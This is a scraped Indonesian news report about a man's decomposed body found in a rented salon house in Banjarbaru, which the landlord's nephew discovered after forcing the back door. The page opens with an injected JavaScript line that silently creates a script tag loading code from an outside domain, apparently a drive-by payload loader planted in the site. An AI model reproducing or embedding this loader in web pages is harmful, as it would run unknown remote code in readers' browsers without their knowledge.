(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Niat Bersihkan Rumah, Dapati Mayat Lelaki Membusuk di Kasturi II Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU – Sesosok mayat berjenis kelamin laki-laki di dalam sebuah rumah kontrakan gegerkan warga Jalan Kasturi II RT 31 RW 07, Kelurahan Syamsuddin Noor, Kecamatan Landasan Ulin, Senin (8/7/2024) siang.

Rumah kontrakan berwarna cat hijau tersebut dijadikan tempat usaha salon kecantikan.

Awal penemuan mayat terjadi sekitar pukul 10.00 Wita, seorang warga bernama Gunawan alias Iwan yang kali pertama menemukan mayat yang diduga sudah meninggal lebih dari dua hari itu.

“Rencana saya ingin membersihkan kontrakan, rencana Jumat saya menyemprot halamannya, dan rencana Minggu saya bongkar pintunya, disuruh oleh paman saya pemilik kontrakan,” ujar Gunawan di lokasi kejadian, Senin (8/7/2024) siang.

Gunawan yang merupakan keponakan pemilik rumah kontrakan menjelaskan, dirinya berniat membersihkan bangunan tersebut sebab penghuni yang menyewa hilang kontak sejak empat bulan lalu.

“Karena hari Minggu gak jadi, maka hari ini tadi saya minta sama yang sebelah kontrakan untuk sama-sama bongkar, buat saksi juga karena penghuni kontrakan tidak ada kabar, ya sudah kita bongkar saja,” jelas dia.

“Awalnya pintu belakang yang kami bongkar, karena gak dikunci, cuma sunduk di bawah aja, jadi dicongkel pakai linggis sudah kebuka,” sambungnya.

Setelah pintu terbuka kedua saksi pun langsung mencium bau tidak sedap seperti bangkai tikus.

“Dikira bau bangkai tikus, ternyata pas saya jalan ke kamar, mayat sudah tertelungkup,” ungkapnya.

Iwan mengatakan, jasad ditemukan dalam keadaan tertelungkup dengan berselimut kain. Sementara identitas laki-laki itu diketahui bernama Mariono (48).

“Kabarnya sempat mau pulang ke Jawa, kalau gak salah bilang ke rumah sebelah toko obat, hilang kontak selama empat bulan, gak info tahunya hilang kontak, mulai puasa sebelum lebaran,” tambahnya.

Sementara itu jasad Mariono langsung dievakuasi tim Inafis Polres Banjarbaru menuju Rumah Sakit Bhayangkara Banjarmasin untuk dilakukan autopsi. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie